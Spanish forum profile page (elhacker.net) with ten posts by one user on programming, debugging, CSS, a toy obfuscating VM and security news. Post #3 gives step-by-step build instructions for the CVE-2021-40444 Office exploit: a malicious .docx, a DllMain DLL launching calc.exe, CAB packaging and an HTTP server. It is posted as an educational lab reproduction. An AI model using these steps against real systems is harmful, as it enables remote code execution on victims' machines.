Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BloodSharp

#1
Buenas gente del foro, siempre tuve la curiosidad de preguntar esto hace rato, aunque no me atrevía a preguntarlo por si son preguntas molestas... :silbar:

https://foro.elhacker.net/who.html

¿Por qué se esconde el UserAgent y/o sistema operativo cuando un usuario está conectado? ¿Es por alguna medida de seguridad que está fallando? ¿Se podría habilitar para los usuarios comunes o deshabilitar para los no conectados?

EDIT: Pregunto por lo de deshabilitarlo dado a que también podría ser una sugerencia para aumentar "la privacidad de los usuarios"...

Ejemplo cuando no estoy conectado en el foro:


Mientras que cuando estoy conectado:



B#
#2
Buenas gente del foro, hice este código simple en un par de horas en C++ para 32 bits en Windows y lo quería compartir para que pueda servirle a alguién o quién quiera colaborar en este proyecto y podemos hacerlo completo... :P

La idea de virtualización de código es hacer complicado el análisis de ingeniería inversa de cualquier programa, creando una CPU imaginaria con sus propios conjunto de instrucciones y reemplazando el código original de assembler de la CPU real por la CPU imaginaria.

Código (cpp) [Seleccionar]
#include <iostream>
#include "BloodVM.h"

int __declspec(naked) __stdcall Sumar()
{
    __asm
    {
        call BloodVM_Init;

        //MOV_R_N => mov eax, 4;
        _emit 0x02; //OPCODE::MOV_R_N
        _emit 0x05; //EAX offset
        _emit 0x04; //number 4 bytes
        _emit 0x00;
        _emit 0x00;
        _emit 0x00;
        //ADD_R_N => add eax, 5;
        _emit 0x04; //OPCODE::ADD_R_N
        _emit 0x05; //EAX offset
        _emit 0x05; //number 4 bytes
        _emit 0x00;
        _emit 0x00;
        _emit 0x00;
        //ADD_R_R => add eax, eax;
        _emit 0x03; //OPCODE::ADD_R_R
        _emit 0x05; //EAX offset
        _emit 0x05; //EAX offset
        //QUIT => Exit VM
        _emit 0x00;

        call BloodVM_End;
        ret;
    }
}

int main()
{
    std::cout << "Suma virtualizada (4 + 5) + (4 + 5) = " << Sumar() << std::endl;
    std::cin.ignore();
}




El código de ejemplo tiene apenas 5 instrucciones pero se podría implementar más. Al verse en un desamblador la función virtualizada se vería algo como esto:



Lo cuál forzaría al que quiera ver como funciona realmente el programa a analizar toda la CPU imaginaria siendo usualmente una tarea bastante compleja. Se podría crear también un programa que detecte las llamadas del inicio y fin de la virtualización y reemplazar el código real por el imaginario pero esa es una tarea bastante compleja que llevaría mucho tiempo.

Dejo el resto del código por si a alguien le interesa:

BloodVM.cpp
Código (cpp) [Seleccionar]
#include "BloodVM.h"

BloodVM gBloodVM;

uint32_t __declspec(naked) __stdcall GetCaller()//uint32_t dwESP)
{
    //return *(uint32_t*)(dwESP+4);
    __asm
    {
        mov eax, [esp + 4];
        ret;
    }
}

void __declspec(naked) __stdcall BloodVM_Init()
{
    __asm
    {
        pushad;
        pop gBloodVM.EDI;
        pop gBloodVM.ESI;
        pop gBloodVM.EBP;
        pop gBloodVM.ESP;
        pop gBloodVM.EBX;
        pop gBloodVM.EDX;
        pop gBloodVM.ECX;
        pop gBloodVM.EAX;
       
        //push gBloodVM.ESP;
        call GetCaller;
        mov gBloodVM.EIP, eax;
        lea ecx, gBloodVM;
        call BloodVM::RunVirtualMachine;
        mov eax, gBloodVM.EIP;
        mov [esp], eax;
        ret;
    }
}

void __declspec(naked) __stdcall BloodVM_End()
{
    __asm
    {
        mov edi, gBloodVM.EDI;
        mov esi, gBloodVM.ESI;
        mov ebx, gBloodVM.EBX;
        mov edx, gBloodVM.EDX;
        mov ecx, gBloodVM.ECX;
        mov eax, gBloodVM.EAX;
        mov ebp, gBloodVM.EBP;
        mov esp, gBloodVM.ESP;
        ret;
    }
}

void BloodVM::RunVirtualMachine()
{
    do
    {
        this->currentOpcode = (uint8_t)(*((uint8_t*)this->EIP));
        uint32_t nextEIP = this->vInstructions[this->currentOpcode].sizeOfInstruction;
        (this->*vInstructions[this->currentOpcode].operate)();
        this->EIP += nextEIP;
    } while (this->currentOpcode != OPCODE::QUIT);
}

void BloodVM::QUIT()
{

}

void BloodVM::MOV()
{
    uint32_t* firstRegister;
    uint32_t* secondRegister;
    uint32_t firstNumber;
    switch (this->currentOpcode)
    {
        case OPCODE::MOV_R_R:
            firstRegister = &this->EDI + *(uint8_t*)(this->EIP + 1);
            secondRegister = &this->EDI + *(uint8_t*)(this->EIP + 2);
            *firstRegister = *secondRegister;
            break;
        case OPCODE::MOV_R_N:
            firstRegister = &this->EDI + *(uint8_t*)(this->EIP + 1);
            firstNumber = *(uint32_t*)(this->EIP + 2);
            *firstRegister = firstNumber;
            break;
    }
}

void BloodVM::ADD()
{
    uint32_t* firstRegister;
    uint32_t* secondRegister;
    uint32_t firstNumber;
    switch (this->currentOpcode)
    {
        case OPCODE::ADD_R_R:
            firstRegister = &this->EDI + *(uint8_t*)(this->EIP + 1);
            secondRegister = &this->EDI + *(uint8_t*)(this->EIP + 2);
            *firstRegister += *secondRegister;
            break;
        case OPCODE::ADD_R_N:
            firstRegister = &this->EDI + *(uint8_t*)(this->EIP + 1);
            firstNumber = *(uint32_t*)(this->EIP + 2);
            *firstRegister += firstNumber;
            break;
    }
}


BloodVM.h
Código (cpp) [Seleccionar]
#pragma once
#include <cstdint>
#include <vector>

enum OPCODE
{
QUIT,
MOV_R_R,
MOV_R_N,
ADD_R_R,
ADD_R_N,
};

class BloodVM
{
public:
BloodVM()
{
vInstructions =
{
/*
All opcodes sizes are always 1 byte
All registers (R) sizes are also 1 byte
All numbers (N) sizes are always 4 bytes
*/
{OPCODE::QUIT, 1, &BloodVM::QUIT},
{OPCODE::MOV_R_R, 3, &BloodVM::MOV},
{OPCODE::MOV_R_N, 6, &BloodVM::MOV},
{OPCODE::ADD_R_R, 3, &BloodVM::ADD},
{OPCODE::ADD_R_N, 6, &BloodVM::ADD},
};
}
        uint32_t EDI, ESI, EBX, EDX, ECX, EAX, EBP, EIP, ESP;
uint8_t currentOpcode;
void RunVirtualMachine();

void MOV();
void ADD();
void QUIT();

struct INSTRUCTION
{
uint8_t opcode;
uint8_t sizeOfInstruction;
void (BloodVM::* operate)() = nullptr;
};

std::vector<INSTRUCTION> vInstructions;
};

void __stdcall BloodVM_Init();
void __stdcall BloodVM_End();



B#
#3
Solo válido para motivos educativos

Fuente: https://github.com/lockedbyte/CVE-2021-40444

Generando el documento .docx:

Ir a maldoc/word/_rels/document.xml.rels y editar los textos http://<HOST> con el URL del archivo exploit.html

Luego se genera el documento .docx
Código (bash) [Seleccionar]
cd maldoc/ ; zip -r maldoc.docx *

Generar el archivo dll

#include <windows.h>

void exec(void) {
system("C:\\Windows\\System32\\calc.exe");
return;
}

BOOL WINAPI DllMain(
   HINSTANCE hinstDLL,
   DWORD fdwReason,
   LPVOID lpReserved )
{
   switch( fdwReason )
   {
       case DLL_PROCESS_ATTACH:
          exec();
          break;

       case DLL_THREAD_ATTACH:
           break;

       case DLL_THREAD_DETACH:
           break;

       case DLL_PROCESS_DETACH:
           break;
   }
   return TRUE;
}


Compilar:
Código (bash) [Seleccionar]
i686-w64-mingw32-gcc -shared calc.c -o calc.dll

Instalar la dependencia lcab
Código (bash) [Seleccionar]
sudo apt-get install lcab

Código (bash) [Seleccionar]
cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' out.cab

Copiar el archivo out.cab en el directorio www/, modificar exploit.html para apuntar a http://localhost/out.cab

Ejecutar el script: patch_cab.py

Finalmente crear el servidor:

Código (bash) [Seleccionar]
cd www/ ; sudo python3 -m http.server 80

Parte final

Ejecutar maldoc.docx en una Máquina virtual.



B#
#4
Buenas gente del foro, desde hace poco estoy aprendiendo a utilizar GDB y quisiera saber como se podría usar el comando examinar memoria sabiendo que fue previamente almacenado en una variable el tamaño del buffer...

Programa de ejemplo de para practicar:
Código (cpp) [Seleccionar]

#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <cstdint>

int main(int argc, char**argv)
{
   char *pBuffer=0;
   int index=0,iUnknownSize=0;

   srand(time(NULL));

   do
   {
       iUnknownSize=rand()%20+1;
   }
   while(iUnknownSize<=0);

   pBuffer=(char*)malloc(iUnknownSize);
   if(pBuffer)
   {
       for(;index<iUnknownSize;index++)
           pBuffer[index]=(char)(rand()%254+1)&0xFF;
       printf("Comienza el procesado...\n");
       for(index=0;index<iUnknownSize;index++)
           printf("%X\n",(char)(pBuffer[index]&(uint64_t)0xFF));
       printf("Finaliza el procesado...\n");
       free(pBuffer);
   }
   printf("\n");
   return 0;
}


Al poner un breakpoint al primer printf que es lo que me interesaría puedo consultar la variable iUnknownSize y luego utilizarla con el comando x (examinar memoria)



Pero la idea sería final sería poner al breakpoint un comando automático que dumpee como lo siguiente:

x/(obtener valor de iUnknownSize)xb pBuffer

¿Mi pregunta sería hay alguna manera de especificarle depurador dicho valor al examinar?


B#
#5
Buenas gente del foro, resulta que desde hace un par de días o semanas (no recuerdo bien) veo que parte de las publicaciones (en especial cuando suben imágenes) no aparecen, este problema se presentan en varias páginas con HSTS:



Cuando puse para ver si se podía ver el problema me aparece certificado inválido:



el error en cuestión es el siguiente con la cadena de certificados de McAfee:

Citarhttps://i.postimg.cc/50kQY58h/ransomware.jpg

Unable to communicate securely with peer: requested domain name does not match the server's certificate.

Seguridad de transporte estricto HTTP: true
HTTP Public Key Pinning: false

Cadena de certificados:

-----BEGIN CERTIFICATE-----
MIIG4DCCBcigAwIBAgIRAKFJxtTwTGylLRCEgid/6dgwDQYJKoZIhvcNAQELBQAw
ZDELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRQwEgYDVQQHEwtTYW50YSBDbGFy
YTEVMBMGA1UEChMMTWNBZmVlLCBJbmMuMRswGQYDVQQDExJNY0FmZWUgT1YgU1NM
IENBIDIwHhcNMjAwMTI0MDAwMDAwWhcNMjIwMTIzMjM1OTU5WjCBuTELMAkGA1UE
BhMCVVMxDjAMBgNVBBETBTk1MDU0MRMwEQYDVQQIEwpDYWxpZm9ybmlhMRQwEgYD
VQQHEwtTYW50YSBDbGFyYTEiMCAGA1UECRMZMjgyMSBNaXNzaW9uIENvbGxlZ2Ug
Qmx2ZDEVMBMGA1UEChMMTWNBZmVlLCBJbmMuMRQwEgYDVQQLEwtFbmdpbmVlcmlu
ZzEeMBwGA1UEAwwVKi5uYWRpLnNocC5tY2FmZWUuY29tMIIBIjANBgkqhkiG9w0B
AQEFAAOCAQ8AMIIBCgKCAQEA2F1453hSQdkcW1IX/+ng3LFBPvMinVr+SOYbgzsy
NqtwE8duDGJCSBAruSm9JjbClDoggNot/2GiTgfhcDshWPMY9FQ++ROVAbNIHbCF
phl2uJAfsvcDHWW4fgJfjxvvX1jeDxeaa0PDyhJob4QhxPSNAwjM2sgdnYesfsCm
iYb9WmP/w+sfB6pzny1UxJsWUtC99ubujrxGnQgF6zFd+JgcfzEGZnIkTJXiVala
rkddwhSHZYvoonZtaueB1ytVNYHErTL31gsBAGrXC0CUfHBSXabCtcTnrDw7Vcd1
R0MT8WIjvL1oL3YfmyNYhkGD8usQM1LhxziYp08YpJ6K6wIDAQABo4IDNTCCAzEw
HwYDVR0jBBgwFoAU0E4ixT1hcgq7J7SSNre6lZ8nMZwwHQYDVR0OBBYEFODD4jNn
LSmqxP7RrB9wXKWkRia5MA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBLBgNVHSAERDBCMDYGCysGAQQB
sjEBAgIrMCcwJQYIKwYBBQUHAgEWGWh0dHBzOi8vY3BzLnVzZXJ0cnVzdC5jb20w
CAYGZ4EMAQICMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwudXNlcnRydXN0
LmNvbS9NY0FmZWVPVlNTTENBMi5jcmwwbgYIKwYBBQUHAQEEYjBgMDcGCCsGAQUF
BzAChitodHRwOi8vY3J0LnVzZXJ0cnVzdC5jb20vTWNBZmVlT1ZTU0xDQTIuY3J0
MCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29tMDUGA1UdEQQu
MCyCFSoubmFkaS5zaHAubWNhZmVlLmNvbYITbmFkaS5zaHAubWNhZmVlLmNvbTCC
AX4GCisGAQQB1nkCBAIEggFuBIIBagFoAHcARqVV63X6kSAwtaKJafTzfREsQXS+
/Um4havy/HD+bUcAAAFv2YfeWAAABAMASDBGAiEAk5zZy644uefMUr0GXMGM2xlw
Xhq56Y0OAu0M+1Oe1icCIQDv6wLp5CPznT8oQ6TRNyEdFEJkZQLhV8RMO5feBbue
IQB2AG9Tdqwx8DEZ2JkApFEV/3cVHBHZAsEAKQaNsgiaN9kTAAABb9mH3kQAAAQD
AEcwRQIgaZQqZx+5dHRKrOrkkOqEh1fck4aHHv5sTxBKHehLVq8CIQCYRF5/mCJn
wVNWcefNZdZDtFlVAl1C6nbWezKKK/ZeEwB1ACJFRQdZVSRWlj+hL/H3bYbgIyZj
rcBLf13Gg1xu4g8CAAABb9mH3kYAAAQDAEYwRAIgKV5WemqhACeQWBAc2D70iSsP
hM1KdjUMGMiJtyz5NZcCIC9bJt/5eyJQ6xSn76Lr1g+1EJTNpMvRO4KWZEDvogX1
MA0GCSqGSIb3DQEBCwUAA4IBAQB3ZRwOP+6Y2xA0mwW4feo3bkkzu/FnZXODHgZ7
+DbjB1MSlHeNzEC0bDakfkjNPeA6FxM6fZXH19K2/dz5f4M2PSbaiX92cbzlx3Ay
uDoXUDjMRRo4l1Jn5zkjH56Yw5HkneJSGcLFjWYdO10VDqVmaVpMQdaiM/wlsUcc
dHmHXWO4AiNpOIGQPM+4+ufCkqzDn9yqapg1NwipP+HqDmbzVM6/NXF3dmpwvpbY
GwkHzrGfByHz/0HWwgGCV8IHQsgHqNshv/8IjtnRFiYMm/xthbRGyDsrIBbq6ibF
ihzSwOboi+uJoq8nRYrxzv8Kw57hXlDR3qcLt2n147cMju9p
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF7zCCA9egAwIBAgIRAK7/wlnFDcFqVcW8/s2KH2YwDQYJKoZIhvcNAQEMBQAw
gYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpOZXcgSmVyc2V5MRQwEgYDVQQHEwtK
ZXJzZXkgQ2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMS4wLAYD
VQQDEyVVU0VSVHJ1c3QgUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0
MTAyNzAwMDAwMFoXDTI0MTAyNjIzNTk1OVowZDELMAkGA1UEBhMCVVMxCzAJBgNV
BAgTAkNBMRQwEgYDVQQHEwtTYW50YSBDbGFyYTEVMBMGA1UEChMMTWNBZmVlLCBJ
bmMuMRswGQYDVQQDExJNY0FmZWUgT1YgU1NMIENBIDIwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQDA00doqWgFgNDPHhzzMChcUf//pSjGE0eUpq1webf5
v1vVyw+PMTgQiFTbEVrFDUqymQ6pO1+gT8xQKcstluQhbRnS7D1bARcnnWPpGHTG
eBvHjpkQNTs+r3OiBrEVAQGyyTR6yhsiKxGpVEn/uCaNkkSuvFNwEVgMA3G5qFU2
n3RmzfCacWEHvf5tJYdxaPmIUx8afU+FQ8DaenwlkKttfXngP7i/ds2cv0YFlyHs
93pxX46fnra6ZZeCTre+umq6JnhETi03NuyPyY+qPWmKTbIf8UssKyojiHFAYRtg
wmiNM3q5VY9mPx1wmzir1BOdbHySbitGCloo93DOxYLhAgMBAAGjggF1MIIBcTAf
BgNVHSMEGDAWgBRTeb9aqitKz1SA4dibwJ3ysgNmyzAdBgNVHQ4EFgQU0E4ixT1h
cgq7J7SSNre6lZ8nMZwwDgYDVR0PAQH/BAQDAgGGMBIGA1UdEwEB/wQIMAYBAf8C
AQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMCIGA1UdIAQbMBkwDQYL
KwYBBAGyMQECAiswCAYGZ4EMAQICMFAGA1UdHwRJMEcwRaBDoEGGP2h0dHA6Ly9j
cmwudXNlcnRydXN0LmNvbS9VU0VSVHJ1c3RSU0FDZXJ0aWZpY2F0aW9uQXV0aG9y
aXR5LmNybDB2BggrBgEFBQcBAQRqMGgwPwYIKwYBBQUHMAKGM2h0dHA6Ly9jcnQu
dXNlcnRydXN0LmNvbS9VU0VSVHJ1c3RSU0FBZGRUcnVzdENBLmNydDAlBggrBgEF
BQcwAYYZaHR0cDovL29jc3AudXNlcnRydXN0LmNvbTANBgkqhkiG9w0BAQwFAAOC
AgEAQfitIB2OQNHI9zyvxOrokB8yiGw2OqVhLX+kqSjHU4pXGIcpwONn+J5qShOr
pXJe2WLdp9S7U8nr3GvjuF/w+43arNYSiYys6j665sFkZRBV8/7smq2e+aAHK+Lw
AMIN0KXly2ilgV7AD9Ck5vMJBwe2f/vA5spFSDc74uPzL8NCT6f9FxJkMS1pGPTR
Oz+tCpiASck+OSTRdG2EbZw5ho+4iT+rv5SFQghPw2XpCwyA6giiPZBBABw8PBj2
MthbQBDP4AO4oVFg9tHealvpYBYcgUa+lN9OI8/GofXwH5FqMvXo5kL++2TzjBtt
LnJglcladdmOsUV0lfyqdj1mVoPWG+fpYjx+YJEfkykIk5dXkLKRh1spGj9GCmBx
DsywNiKCOWFaUO1kKTG//X5iCUVYBGiQhBnllqC6rsVRD50X+Zun8cRkzvKuGUO2
MbQwpFRif8kmzp6DikZ2iaADnORVx2DXaqkCFECxPSN7rYjAIwK6EZtS6sY2N198
PX9kOPeK79z1FZ10svRGFcrN231y29ejZH6utvJexqLrLjntE/G7hc8y6hcXTuLB
gn5V32VuPFpdiMK3evnLFrot4dKDMe6bM22YdvXctNPTsmnERIxFQd1YTnq9qnHB
BVZDj7BNt3tJWdGqP9iBBQUqaFofl7H1zwmFVCXV76ngqDE=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIF3jCCA8agAwIBAgIQAf1tMPyjylGoG7xkDjUDLTANBgkqhkiG9w0BAQwFADCB
iDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0pl
cnNleSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNV
BAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAw
MjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNV
BAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
AoICAQCAEmUXNg7D2wiz0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ/MPans9s/B
3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2jY0K2dvKpOyuR+OJv0OwWIJAJPuLodMkY
tJHUYmTbf6MG8YgYapAiPLz+E/CHFHv25B+O1ORRxhFnRghRy4YUVD+8M/5+bJz/
Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat//O+T23LLb2
VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT
79uq/nROacdrjGCT3sTHDN/hMq7MkztReJVni+49Vv4M0GkPGw/zJSZrM233bkf6
c0Plfg6lZrEpfDKEY1WJxA3Bk1QwGROs0303p+tdOmw1XNtB1xLaqUkL39iAigmT
Yo61Zs8liM2EuLE/pDkP2QKe6xJMlXzzawWpXhaDzLhn4ugTncxbgtNMs+1b/97l
c6wjOy0AvzVVdAlJ2ElYGn+SNuZRkg7zJn0cTRe8yexDJtC/QV9AqURE9JnnV4ee
UB9XVKg+/XRjL7FQZQnmWEIuQxpMtPAlR1n6BB6T1CZGSlCBst6+eLf8ZxXhyVeE
Hg9j1uliutZfVS7qXMYoCAQlObgOK6nyTJccBz8NUvXt7y+CDwIDAQABo0IwQDAd
BgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/BAQDAgEGMA8G
A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAFzUfA3P9wF9QZllDHPF
Up/L+M+ZBn8b2kMVn54CVVeWFPFSPCeHlCjtHzoBN6J2/FNQwISbxmtOuowhT6KO
VWKR82kV2LyI48SqC/3vqOlLVSoGIG1VeCkZ7l8wXEskEVX/JJpuXior7gtNn3/3
ATiUFJVDBwn7YKnuHKsSjKCaXqeYalltiz8I+8jRRa8YFWSQEg9zKC7F4iRO/Fjs
8PRF/iKz6y+O0tlFYQXBl2+odnKPi4w2r78NBc5xjeambx9spnFixdjQg3IM8WcR
iQycE0xyNN+81XHfqnHd4blsjDwSXWXavVcStkNr/+XeTWYRUc+ZruwXtuhxkYze
Sf7dNXGiFSeUHM9h4ya7b6NnJSFd5t0dCy5oGzuCr+yDZ4XUmFF0sbmZgIn/f3gZ
XHlKYC6SQK5MNyosycdiyA5d9zZbyuAlJQG03RoHnHcAP9Dc1ew91Pq7P8yF1m9/
qS3fuQL39ZeatTXaw2ewh0qpKJ4jjv9cJ2vhsE/zB+4ALtRZh8tSQZXq9EfX7mRB
VXyNWQKV3WKdwrnuWih0hKWbt5DHDAff9Yk2dDLWKMGwsAvgnEzDHNb842m1R0aB
L6KCq9NjRHDEjf8tM7qtj3u1cIiuPhnPQCjY/MiQu12ZIvVS5ljFH4gxQ+6IHdfG
jjxDah2nGN59PRbxYvnKkKj9
-----END CERTIFICATE-----

Mi consulta es: ¿Hay alguna manera de evitar esta "inyección de certificado"? ¿Por qué sucede esto? Y quisiera saber si hay alguna contra-medida para tener una conexión normal...


B#
#6
Backdoor RCE plantado en el servidor GIT de PHP


En un nuevo ataque a la cadena de suministro de software, se hackeo el repositorio oficial de PHP Git y se manipuló su código fuente. Dos modificaciones maliciosas fueron enviadas el domingo al repositorio propio git.php.net mantenido por el equipo PHP. Hasta ahora el código se encontraba en Github sólo como respaldo.

El incidente es alarmante considerando que PHP sigue siendo el lenguaje de programación del lado del servidor que alimenta más del 79% de los sitios web en Internet. Los atacantes habían firmado estos compromisos como si fueran realizados por desarrolladores y mantenedores de PHP conocidos, Rasmus Lerdorf y Nikita Popov.

En los dos commits maliciosos realizado [1, 2], los atacantes publicaron un cambio para "corregir error tipográfico" con el pretexto de que se trataba de una pequeña corrección tipográfica. Sin embargo, echando un vistazo a la línea 370 agregada donde se llama a la función zend_eval_string, el código en realidad planta una puerta trasera para obtener una ejecución remota de código (RCE) fácil en un sitio web que ejecuta esta versión secuestrada de PHP.

Leer más en Blog Segu-Info


B#
#7
Primero antes que nada buenos días/noches.

Bueno digamos que estaba muy aburrido :xD y me puse a generar un código que sume en Complemento a 2:

Código (cpp) [Seleccionar]
#include <cstdio>
#include <cstdint>

int64_t SumadorCompleto(int64_t A,int64_t B,uint8_t TamanioBits=(sizeof(int64_t)*8))
{
   int64_t Resultado;
   int64_t PrimeraOp;
   int64_t SegundaOp;
   int64_t i;
   int64_t CarryActual;
   CarryActual^=CarryActual;
   Resultado^=Resultado;
   for(i^=i;i<TamanioBits;i++)
   {
       PrimeraOp=((A>>i)&1)^((B>>i)&1);
       SegundaOp=(PrimeraOp&1)^(CarryActual&1);
       Resultado|=(SegundaOp<<i)&(1<<i);
       CarryActual=(PrimeraOp&1)&&(CarryActual&1)||((((A>>i)&1)&&((B>>i)&1))&1);
   }
   return Resultado;
}

int main()
{
   int64_t A=4,B=-7;
   printf("A:%li + B:%li = %li\n",A,B,SumadorCompleto(A,B));
   return 0;
}


Si lo pruebo con ambos números enteros pequeños 4 y 7 el código funciona perfectamente, ahora el problema es cuando pongo un número entero gigante o negativo el código no funciona:



Dije quizás sea un error de GCC voy a probar otro compilador diferente y de diferente lenguaje como Pascal:

(No puedo subir el código en Pascal porque el foro no lo permite)

(Solución temporal o hasta que alguien lo verifique lo subo en imagenes)




Lo cuál ocurre lo mismo:



Pero lo que me inquietó es que pasado los 31 bits de desplazamiento no parece realizar operaciones al menos de manera correcta:



Mi duda es hay alguna manera de llegar a desplazar más bits correctamente, o yo tengo algún error y no me dí cuenta todavía del error o ¿También es una limitación de los procesadores esto?


B#
#8
Buenas gente del foro, les quería aportar un mini juego laberinto fps que porté a Linux utilizando la librería ncurses además agregando algunos colores:




El código para Linux puede verse acá:
https://github.com/Agustin-dos-Santos/CommandLineFPS

Pero si lo quieren el código original para Windows (Visual Studio) les dejo el repositorio original y el video de como fue hecho originalmente:
https://www.youtube.com/watch?v=xW8skO7MFYw
https://github.com/OneLoneCoder/CommandLineFPS


B#
#9
Buenas gente del foro, resulta que hace poco estoy aprendiendo a dar estilos responsivos(? (ni idea como traducirlo bien :xD) manualmente y tengo una consulta: ¿Cómo se podría rellenar los espacios en blanco para que queden el fondo de las cajas con el mismo tamaño?



Código (html4strict) [Seleccionar]
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <link rel="stylesheet" href="responsive-media-queries.css">
</head>
<body>
    <div class="contenedor" style="color: white;font-size: 2em;">
        <div class="fila">
            <div style="background-color: red;" class="columna-largo-2 columna-mediano-2 columna-peque-3 columna-mini-12">
                <p>Texto</p>
            </div>
            <div style="background-color: green;" class="columna-largo-6 columna-mediano-5 columna-peque-9 columna-mini-12">
                p*3>Lorem
            </div>
            <div style="background-color: blue;" class="columna-largo-4 columna-mediano-5 columna-peque-12 columna-mini-12">
                p*4>Lorem
            </div>
        </div>
    </div>
    <h1>Hola</h1>
</body>
</html>


Código (css) [Seleccionar]
/*
Estilos Globales
*/
*
{
    margin: 0px;
    padding: 0px;
    list-style: none;
    text-decoration: none;
    font-family: sans-serif;
    box-sizing: border-box;
}

.contenedor
{
    position: relative;
    margin: auto;
    width: 100%;
    height: auto;
}

.fila
{
    position: relative;
    margin: auto;
    width: 100%;
    height: auto;
    clear: both;
    display: table;
}

[class*="columna-"]
{
    float: left;
    border: 2px solid black;
    /*padding: 20px;*/
}

/*Pantallas*/
@media(min-width: 1200px)
{
    .columna-largo-12{width:100%;}
    .columna-largo-11{width:calc(11*100%/12);}
    .columna-largo-10{width:calc(10*100%/12);}
    .columna-largo-9{width:calc(9*100%/12);}
    .columna-largo-8{width:calc(8*100%/12);}
    .columna-largo-7{width:calc(7*100%/12);}
    .columna-largo-6{width:calc(6*100%/12);}
    .columna-largo-5{width:calc(5*100%/12);}
    .columna-largo-4{width:calc(4*100%/12);}
    .columna-largo-3{width:calc(3*100%/12);}
    .columna-largo-2{width:calc(2*100%/12);}
    .columna-largo-1{width:calc(1*100%/12);}
}

@media(max-width:1199px) and (min-width:992px)
{
    .columna-mediano-12{width:100%;}
    .columna-mediano-11{width:calc(11*100%/12);}
    .columna-mediano-10{width:calc(10*100%/12);}
    .columna-mediano-9{width:calc(9*100%/12);}
    .columna-mediano-8{width:calc(8*100%/12);}
    .columna-mediano-7{width:calc(7*100%/12);}
    .columna-mediano-6{width:calc(6*100%/12);}
    .columna-mediano-5{width:calc(5*100%/12);}
    .columna-mediano-4{width:calc(4*100%/12);}
    .columna-mediano-3{width:calc(3*100%/12);}
    .columna-mediano-2{width:calc(2*100%/12);}
    .columna-mediano-1{width:calc(1*100%/12);}
}

@media(max-width:991px) and (min-width:768px)
{
    .columna-peque-12{width:100%;}
    .columna-peque-11{width:calc(11*100%/12);}
    .columna-peque-10{width:calc(10*100%/12);}
    .columna-peque-9{width:calc(9*100%/12);}
    .columna-peque-8{width:calc(8*100%/12);}
    .columna-peque-7{width:calc(7*100%/12);}
    .columna-peque-6{width:calc(6*100%/12);}
    .columna-peque-5{width:calc(5*100%/12);}
    .columna-peque-4{width:calc(4*100%/12);}
    .columna-peque-3{width:calc(3*100%/12);}
    .columna-peque-2{width:calc(2*100%/12);}
    .columna-peque-1{width:calc(1*100%/12);}
}

@media(max-width:767px)
{
    .columna-mini-12{width:100%;}
    .columna-mini-11{width:calc(11*100%/12);}
    .columna-mini-10{width:calc(10*100%/12);}
    .columna-mini-9{width:calc(9*100%/12);}
    .columna-mini-8{width:calc(8*100%/12);}
    .columna-mini-7{width:calc(7*100%/12);}
    .columna-mini-6{width:calc(6*100%/12);}
    .columna-mini-5{width:calc(5*100%/12);}
    .columna-mini-4{width:calc(4*100%/12);}
    .columna-mini-3{width:calc(3*100%/12);}
    .columna-mini-2{width:calc(2*100%/12);}
    .columna-mini-1{width:calc(1*100%/12);}
}



B#
#10
¿Buenas gente del foro como están? Estoy re-diseñando mi página de github pero tengo un pequeño detalle que seguramente es facil de arreglar:

¿Cómo se puede evitar el movimiento del control del enlace al crear un borde? Ya intenté ponerle un margen negativo, lo cuál funciona pero me hace el borde no visible... Estoy un poco falto de práctica con html+css por eso pregunto.



Código (html4strict) [Seleccionar]
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Nombre</title>
    <link rel="stylesheet" href="styles.css">
</head>
<body>
    <div class="menu">
        <div class="portada">
            <img src="" alt="Foto" srcset="">
            <h1>Nombre</h1>
        </div>
        <div class="contenedor-enlaces">
            <a href="#">Primero</a>
            <a href="#">Segundo</a>
            <a href="#">Tercero</a>
